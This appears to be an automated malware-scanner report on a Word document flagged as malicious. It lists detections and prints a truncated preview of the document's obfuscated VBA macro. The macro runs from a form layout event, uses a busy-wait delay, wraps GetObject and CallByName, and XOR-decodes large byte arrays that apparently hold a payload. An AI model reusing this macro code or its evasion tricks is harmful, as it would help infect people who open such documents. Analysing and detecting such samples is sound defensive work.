MALICIOUS
162
Risk Score
Heuristics 5
-
ClamAV: Doc.Macro.Obfuscation-6663668-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Macro.Obfuscation-6663668-0
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
GetObject call high OLE_VBA_GETOBJGetObject callMatched line in script
Set b43 = GetObject(b82) -
CallByName call high OLE_VBA_CALLBYNAMECallByName callMatched line in script
CallByName b28, b3, b42, b13, Null, b98 -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 17764 bytes |
SHA-256: 7ec95be7f17073776a25a87623d09a0d9d1487ab3aa0d86b9b8c0bd2ff06f59d |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Control = "f, 0, 0, MSForms, Frame" Dim b5, b96(2) As Byte, b22(9) As Byte, b21(32) As Byte, b04(19) As Byte, b26(13) As Byte, b8(5) As Byte, b49(55) As Byte, b70(823) As Byte, b72(5) As Byte Private Function b6(b28, b3, b42, b95, b13, b98) On Error GoTo b2 If b95 = 1 Then CallByName b28, b3, b42, b13, Null, b98 Else Set b6 = CallByName(b28, b3, b42, b13) End If Exit Function b2: End Function Private Sub f_Layout() If b5 = 0 Then b5 = 73 Dim b52, b35 b35 = 57531286 While b52 <= b35 b52 = b52 + 1 Wend If b52 - 1 = b35 Then b74 End If End If End Sub Private Function b37(b48) Dim b39(1) As Byte, b41, b33, b93 If b48 > (2043825 / 8015) Then b41 = b25(b48, (-4013 + 4269)) b93 = b48 / (4928 - 4672) b33 = b93 Else b41 = b48 End If b39(0) = b41 b39(1) = b33 b37 = b39 End Function Private Sub b68() b22(2) = 165 b22(4) = 68 b22(5) = 141 b22(7) = 215 b22(8) = 201 b22(1) = 155 b22(0) = 216 b22(3) = 226 b22(9) = 25 b22(6) = 37 End Sub Private Function b01(b10, b97) b01 = (b10 And Not b97) Or (Not b10 And b97) End Function Private Sub b54() b72(3) = 244 b72(4) = 103 b72(2) = 175 b72(0) = 200 b72(1) = 129 b72(5) = 129 End Sub Private Function b43(b82) Set b43 = GetObject(b82) End Function Private Sub b71() b21(24) = 50 b21(4) = 116 b21(7) = 192 b21(25) = 218 b21(14) = 25 b21(6) = 63 b21(1) = 154 b21(11) = 53 b21(12) = 59 b21(15) = 73 b21(28) = 231 b21(19) = 239 b21(0) = 252 b21(16) = 232 b21(20) = 67 b21(31) = 246 b21(26) = 44 b21(10) = 91 b21(9) = 28 b21(32) = 193 b21(21) = 244 b21(27) = 35 b21(3) = 248 b21(8) = 156 b21(2) = 164 b21(30) = 161 b21(5) = 137 b21(29) = 157 b21(13) = 132 b21(23) = 35 b21(22) = 108 b21(18) = 2 b21(17) = 153 End Sub Private Sub b03() b49(2) = 164 b49(26) = 25 b49(52) = 237 b49(30) = 169 b49(11) = 55 b49(45) = 158 b49(31) = 245 b49(5) = 137 b49(35) = 99 b49(1) = 154 b49(32) = 215 b49(20) = 125 b49(13) = 189 b49(18) = 81 b49(9) = 21 b49(28) = 181 b49(33) = 197 b49(54) = 199 b49(7) = 192 b49(21) = 242 b49(41) = 91 b49(19) = 161 b49(49) = 119 b49(53) = 177 b49(14) = 8 b49(3) = 248 b49(0) = 252 b49(38) = 116 b49(50) = 139 b49(4) = 116 b49(16) = 234 b49(51) = 40 b49(8) = 156 b49(39) = 87 b49(48) = 140 b49(6) = 63 b49(42) = 252 b49(36) = 89 b49(40) = 196 b49(22) = 108 b49(12) = 63 b49(25) = 243 b49(44) = 239 b49(43) = 21 b49(10) = 93 b49(37) = 58 b49(24) = 101 b49(15) = 83 b49(27) = 61 b49(34) = 172 b49(47) = 198 b49(29) = 151 b49(17) = 129 b49(23) = 92 b49(55) = 112 b49(46) = 119 End Sub Private Sub b99() b96(2) = 190 b96(0) = 204 b96(1) = 150 End Sub Private Sub b83() b26(1) = 131 b26(13) = 135 b26(7) = 192 b26(12) = 42 b26(8) = 210 b26(6) = 37 b26(2) = 171 b26(0) = 216 b26(9) = 15 b26(4) = 125 b26(5) = 173 b26(3) = 226 b26(10) = 90 b26(11) = 57 End Sub Private Sub b29() b70(473) = 65 b70(114) = 223 b70(565) = 54 b70(448) = 114 b70(459) = 101 b70(484) = 119 b70(173) = 215 b70(270) = 13 b70(810) = 142 b70(268) = 243 b70(126) = 174 b70(731) = 17 b70(354) = 142 b70(496) = 225 b70(757) = 134 b70(86) = 60 b70(699) = 110 b70(656) = 116 b70(21) = 205 b70(561) = 189 b70(234) = 143 b70(551) = 152 b70(164) = 62 b70(231) = 232 b70(16) = 189 b70(292) = 174 b70(590) = 222 b70(70) = 113 b70(167) = 109 b70(204) = 126 b70(573) = 94 b70(289) = 28 b70(39) = 23 b70(218) = 195 b70(91) = 235 b70(645) = 218 b70(146) = 13 b70(240) = 132 b70(745) = 251 b70(302) = 15 b70(442) = 138 b70(89) = 221 b70(376) = 237 b70(785) = 254 b70(720) = 136 b70(655) = 36 b70(368) = 231 b70(85) = 8 b70(703) = 9 b70(249) = 136 b70(647) = 193 b70(500) = 130 b70(28) = 212 b70(143) = 50 b70(744) = 7 b70(380) = 151 b70(99) = 188 b70(707) = 80 b70(475) = 240 b70(342) = 124 b70(210) = 10 b70(446) = 30 b70(290) = 241 b70(423) = 245 b70(748) = 38 b70(578) = 195 b70(794) = 175 b70(722) = 2 b70(800) = 212 b70(493) = 124 b70(710) = 127 b70(643) = 104 b70(201) = 147 b70(801) = 194 b70(545) = 201 b70(738) = 71 b70(389) = 83 b70(181) = 66 b70(767) = 20 b70(246) = 95 b70(14) = 88 b70(94) = 84 b70(244) = 50 b70(172) = 156 b70(445) = 116 b70(746) = 236 b70(424) = 216 b70(251) = 246 b70(282) = 46 b70(402) = 132 b70(797) = 86 b70(601) = 179 b70(335) = 172 b70(171) = 44 b70(634) = 203 b70(686) = 154 b70(430) = 152 b70(426) = 74 b70(344) = 156 b70(591) = 196 b70(294) = 236 b70(395) = 156 b70(576) = 84 b70(188) = 239 b70(636) = 207 b70(412) = 172 b70(96) = 138 b70(141) = 24 b70(701) = 201 b70(364) = 238 b70(132) = 87 b70(330) = 76 b70(98) = 207 b70(425) = 5 b70(103) = 6 b70(136) = 134 b70(750) = 118 b70(340) = 15 b70(690) = 83 b70(67) = 91 b70(20) = 85 b70(418) = 5 b70(467) = 7 b70(396) = 151 b70(771) = 21 b70(400) = 227 b70(714) = 223 b70(807) = 106 b70(110) = 32 b70(789) = 174 b70(612) = 132 b70(648) = 238 b70(199) = 221 b70(490) = 154 b70(5) = 178 b70(51) = 15 b70(678) = 245 b70(124) = 14 b70(41) = 59 b70(593) = 22 b70(10) = 71 b70(263) = 46 b70(280) = 71 b70(626) = 160 b70(549) = 228 b70(822) = 80 b70(760) = 247 b70(252) = 204 b70(724) = 64 b70(233) = 131 b70(588) = 200 b70(58) = 121 b70(614) = 179 b70(319) = 254 b70(274) = 163 b70(198) = 63 b70(154) = 111 b70(504) = 73 b70(726) = 128 b70(768) = 116 b70(155) = 158 b70(200) = 10 b70(266) = 133 b70(220) = 61 b70(429) = 208 b70(782) = 43 b70(100) = 110 b70(443) = 155 b70(560) = 28 b70(670) = 38 b70(818) = 21 b70(295) = 173 b70(814) = 115 b70(776) = 139 b70(405) = 57 b70(640) = 235 b70(739) = 152 b70(638) = 8 b70(371) = 172 b70(478) = 57 b70(162) = 94 b70(607) = 207 b70(345) = 213 b70(763) = 180 b70(808) = 228 b70(101) = 62 b70(310) = 169 b70(664) = 201 b70(546) = 43 b70(566) = 78 b70(309) = 220 b70(25) = 209 b70(712) = 118 b70(743) = 13 b70(276) = 60 b70(236) = 169 b70(616) = 44 b70(773) = 163 b70(471) = 236 b70(243) = 71 b70(635) = 77 b70(509) = 185 b70(416) = 147 b70(312) = 174 b70(611) = 254 b70(75) = 237 b70(256) = 68 b70(269) = 140 b70(435) = 40 b70(163) = 200 b70(297) = 26 b70(711) = 204 b70(747) = 152 b70(799) = 168 b70(57) = 17 b70(695) = 202 b70(677) = 186 b70(465) = 118 b70(387) = 134 b70(599) = 153 b70(754) = 25 b70(328) = 195 b70(579) = 77 b70(581) = 153 b70(485) = 55 b70(304) = 146 b70(482) = 202 b70(386) = 48 b70(138) = 217 b70(548) = 176 b70(135) = 252 b70(823) = 133 b70(90) = 129 b70(541) = 87 b70(472) = 155 b70(33) = 216 b70(235) = 130 b70(271) = 73 b70(118) = 12 b70(142) = 70 b70(275) = 197 b70(129) = 248 b70(662) = 138 b70(816) = 238 b70(779) = 141 b70(206) = 111 b70(183) = 60 b70(528) = 215 b70(706) = 57 b70(27) = 116 b70(682) = 177 b70(715) = 155 b70(257) = 22 b70(52) = 203 b70(428) = 98 b70(434) = 244 b70(577) = 222 b70(570) = 198 b70(723) = 18 b70(444) = 29 b70(69) = 18 b70(411) = 100 b70(567) = 203 b70(391) = 220 b70(97) = 55 b70(385) = 50 b70(718) = 93 b70(762) = 84 b70(209) = 86 b70(54) = 148 b70(323) = 205 b70(725) = 192 b70(37) = 47 b70(421) = 121 b70(790) = 145 b70(555) = 229 b70(502) = 248 b70(802) = 91 b70(513) = 172 b70(120) = 254 b70(408) = 244 b70(339) = 213 b70(56) = 161 b70(372) = 159 b70(597) = 51 b70(208) = 211 b70(224) = 145 b70(602) = 162 b70(211) = 213 b70(413) = 251 b70(351) = 110 b70(788) = 59 b70(9) = 78 b70(813) = 125 b70(15) = 66 b70(474) = 96 b70(438) = 159 b70(8) = 229 b70(46) = 32 b70(507) = 13 b70(449) = 204 b70(333) = 129 b70(165) = 57 b70(752) = 48 b70(536) = 88 b70(239) = 214 b70(92) = 81 b70(44) = 142 b70(42) = 238 b70(329) = 66 b70(592) = 213 b70(23) = 84 b70(337) = 182 b70(253) = 75 b70(759) = 213 b70(506) = 215 b70(78) = 157 b70(728) = 167 b70(202) = 54 b70(672) = 135 b70(298) = 195 b70(439) = 212 b70(134) = 114 b70(637) = 48 b70(117) = 27 b70(526) = 16 b70(734) = 210 b70(461) = 164 b70(45) = 143 b70(144) = 28 b70(153) = 232 b70(697) = 196 b70(650) = 22 b70(196) = 131 b70(375) = 124 b70(151) = 12 b70(559) = 244 b70(226) = 124 b70(732) = 206 b70(381) = 124 b70(355) = 192 b70(708) = 217 b70(334) = 165 b70(476) = 215 b70(369) = 160 b70(112) = 240 b70(79) = 52 b70(1) = 158 b70(494) = 143 b70(131) = 52 b70(736) = 122 b70(432) = 215 b70(102) = 106 b70(495) = 178 b70(341) = 211 b70(795) = 147 b70(127) = 114 b70(515) = 71 b70(353) = 12 b70(115) = 49 b70(618) = 180 b70(230) = 119 b70(574) = 79 b70(613) = 1 b70(245) = 227 b70(568) = 202 b70(71) = 41 b70(721) = 227 b70(324) = 48 b70(260) = 75 b70(676) = 246 b70(688) = 230 b70(675) = 48 b70(469) = 184 b70(250) = 159 b70(617) = 49 b70(311) = 154 b70(308) = 224 b70(207) = 182 b70(535) = 147 b70(179) = 203 b70(651) = 151 b70(72) = 241 b70(168) = 17 b70(477) = 136 b70(427) = 91 b70(50) = 153 b70(160) = 54 b70(397) = 66 b70(464) = 62 b70(157) = 106 b70(95) = 170 b70(457) = 59 b70(32) = 192 b70(7) = 156 b70(622) = 53 b70(378) = 24 b70(88) = 163 b70(321) = 14 b70(186) = 148 b70(305) = 169 b70(584) = 14 b70(740) = 110 b70(524) = 72 b70(279) = 209 b70(108) = 61 b70(663) = 195 b70(793) = 237 b70(600) = 68 b70(680) = 29 b70(286) = 209 b70(31) = 230 b70(55) = 108 b70(557) = 168 b70(166) = 95 b70(399) = 6 b70(786) = 196 b70(53) = 145 b70(737) = 224 b70(362) = 24 b70(18) = 13 b70(681) = 115 b70(508) = 186 b70(35) = 99 b70(390) = 184 b70(582) = 181 b70(531) = 17 b70(407) = 216 b70(491) = 33 b70(761) = 13 b70(696) = 140 b70(778) = 207 b70(247) = 22 b70(343) = 222 b70(48) = 177 b70(777) = 147 b70(313) = 92 b70(320) = 100 b70(659) = 155 b70(758) = 194 b70(2) = 174 b70(232) = 130 b70(13) = 248 b70(803) = 86 b70(370) = 57 b70(300) = 37 b70(719) = 5 b70(248) = 216 b70(685) = 150 b70(657) = 234 b70(452) = 234 b70(26) = 61 b70(404) = 16 b70(512) = 239 b70(486) = 64 b70(492) = 176 b70(604) = 151 b70(68) = 219 b70(642) = 224 b70(766) = 109 b70(384) = 145 b70(267) = 102 b70(19) = 240 b70(483) = 175 b70(683) = 47 b70(219) = 111 b70(589) = 106 b70(348) = 153 b70(558) = 183 b70(227) = 113 b70(190) = 21 b70(338) = 230 b70(644) = 205 b70(392) = 70 b70(820) = 153 b70(666) = 73 b70(462) = 53 b70(140) = 129 b70(537) = 139 b70(716) = 18 b70(543) = 78 b70(735) = 169 b70(729) = 39 b70(730) = 178 b70(225) = 254 b70(639) = 81 b70(713) = 22 b70(596) = 205 b70(538) = 174 b70(273) = 250 b70(453) = 245 b70(30) = 173 b70(479) = 20 b70(383) = 187 b70(571) = 8 b70(451) = 145 b70(623) = 128 b70(466) = 150 b70(332) = 150 b70(229) = 194 b70(615) = 242 b70(606) = 8 b70(619) = 166 b70(288) = 90 b70(575) = 100 b70(299) = 85 b70(394) = 66 b70(222) = 244 b70(401) = 82 b70(463) = 178 b70(223) = 22 b70(24) = 65 b70(775) = 55 b70(373) = 228 b70(433) = 92 b70(521) = 121 b70(296) = 163 b70(74) = 224 b70(185) = 140 b70(806) = 14 b70(122) = 245 b70(595) = 52 b70(352) = 134 b70(527) = 201 b70(516) = 197 b70(113) = 165 b70(40) = 235 b70(774) = 147 b70(741) = 23 b70(518) = 192 b70(660) = 79 b70(791) = 66 b70(145) = 7 b70(17) = 216 b70(377) = 31 b70(522) = 106 b70(66) = 233 b70(658) = 38 b70(393) = 83 b70(625) = 51 b70(346) = 120 b70(264) = 60 b70(781) = 149 b70(523) = 53 b70(630) = 31 b70(525) = 220 b70(195) = 20 b70(216) = 109 b70(307) = 148 b70(314) = 151 b70(583) = 122 b70(691) = 155 b70(123) = 99 b70(361) = 210 b70(481) = 6 b70(519) = 197 b70(215) = 201 b70(128) = 233 b70(261) = 188 b70(450) = 243 b70(631) = 58 b70(374) = 148 b70(291) = 252 b70(764) = 168 b70(111) = 24 b70(238) = 27 b70(107) = 234 b70(440) = 92 b70(359) = 245 b70(317) = 165 b70(283) = 14 b70(417) = 163 b70(284) = 232 b70(366) = 47 b70(121) = 250 b70(170) = 9 b70(605) = 168 b70(419) = 228 b70(641) = 240 b70(727) = 85 b70(356) = 14 b70(805) = 232 b70(278) = 254 b70(306) = 155 b70(693) = 177 b70(517) = 243 b70(812) = 200 b70(511) = 32 b70(63) = 158 b70(772) = 8 b70(221) = 206 b70(388) = 231 b70(62) = 2 b70(673) = 176 b70(194) = 228 b70(47) = 140 b70(569) = 114 b70(242) = 212 b70(653) = 39 b70(93) = 142 b70(169) = 152 b70(563) = 41 b70(255) = 15 b70(184) = 81 b70(669) = 74 b70(379) = 2 b70(3) = 181 b70(585) = 154 b70(698) = 115 b70(180) = 121 b70(59) = 158 b70(610) = 191 b70(667) = 153 b70(137) = 192 b70(534) = 17 b70(505) = 223 b70(550) = 121 b70(139) = 241 b70(365) = 32 b70(553) = 162 b70(106) = 119 b70(608) = 129 b70(237) = 29 b70(398) = 61 b70(214) = 19 b70(174) = 87 b70(158) = 176 b70(547) = 221 b70(755) = 247 b70(564) = 247 b70(61) = 18 b70(530) = 70 b70(38) = 92 b70(322) = 232 b70(629) = 126 b70(692) = 227 b70(437) = 100 b70(125) = 130 b70(318) = 241 b70(150) = 15 b70(804) = 231 b70(633) = 31 b70(81) = 33 b70(770) = 1 b70(586) = 76 b70(415) = 12 b70(49) = 66 b70(436) = 101 b70(148) = 35 b70(161) = 179 b70(652) = 180 b70(12) = 59 b70(819) = 36 b70(191) = 3 b70(514) = 58 b70(654) = 110 b70(455) = 74 b70(587) = 127 b70(705) = 136 b70(792) = 175 b70(749) = 126 b70(293) = 160 b70(562) = 91 b70(357) = 46 b70(156) = 217 b70(4) = 60 b70(489) = 138 b70(689) = 63 b70(687) = 23 b70(29) = 179 b70(431) = 245 b70(533) = 133 b70(624) = 138 b70(360) = 25 b70(621) = 156 b70(159) = 74 b70(60) = 13 b70(262) = 194 b70(6) = 107 b70(34) = 172 b70(811) = 105 b70(456) = 163 b70(447) = 69 b70(22) = 82 b70(603) = 162 b70(702) = 145 b70(414) = 103 b70(258) = 128 b70(783) = 250 b70(441) = 4 b70(149) = 130 b70(420) = 105 b70(189) = 13 b70(265) = 43 b70(187) = 78 b70(363) = 3 b70(529) = 37 b70(213) = 39 b70(327) = 87 b70(499) = 131 b70(336) = 109 b70(326) = 248 b70(285) = 66 b70(628) = 117 b70(704) = 145 b70(753) = 179 b70(254) = 31 b70(287) = 235 b70(192) = 14 b70(316) = 105 b70(700) = 225 b70(540) = 30 b70(182) = 236 b70(498) = 214 b70(176) = 24 b70(277) = 249 b70(193) = 193 b70(83) = 254 b70(119) = 193 b70(64) = 94 b70(409) = 138 b70(780) = 47 b70(784) = 142 b70(787) = 243 b70(661) = 220 b70(410) = 33 b70(765) = 142 b70(36) = 81 b70(82) = 89 b70(556) = 30 b70(367) = 137 b70(580) = 65 b70(133) = 194 b70(510) = 27 b70(503) = 13 b70(301) = 136 b70(104) = 62 b70(454) = 116 b70(470) = 233 b70(130) = 103 b70(501) = 187 b70(671) = 208 b70(798) = 254 b70(281) = 153 b70(147) = 38 b70(109) = 194 b70(668) = 84 b70(350) = 212 b70(458) = 162 b70(674) = 220 b70(84) = 176 b70(733) = 49 b70(347) = 170 b70(406) = 255 b70(87) = 36 b70(175) = 85 b70(520) = 23 b70(259) = 66 b70(480) = 255 b70(796) = 237 b70(751) = 191 b70(709) = 175 b70(594) = 57 b70(76) = 204 b70(11) = 63 b70(331) = 94 b70(0) = 232 b70(77) = 46 b70(488) = 175 b70(382) = 158 b70(241) = 141 b70(572) = 168 b70(65) = 86 b70(205) = 155 b70(769) = 209 b70(620) = 142 b70(542) = 249 b70(197) = 237 b70(116) = 44 b70(821) = 167 b70(609) = 119 b70(742) = 248 b70(649) = 23 b70(554) = 208 b70(665) = 232 b70(815) = 170 b70(646) = 253 b70(315) = 202 b70(809) = 143 b70(422) = 117 b70(717) = 92 b70(80) = 173 b70(303) = 40 b70(817) = 33 b70(217) = 152 b70(756) = 198 b70(349) = 238 b70(468) = 38 b70(358) = 149 b70(684) = 15 b70(325) = 75 b70(532) = 12 b70(43) = 13 b70(203) = 125 b70(632) = 59 b70(272) = 12 b70(403) = 205 b70(212) = 213 b70(228) = 176 b70(544) = 130 b70(679) = 25 b70(152) = 229 b70(598) = 161 … |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.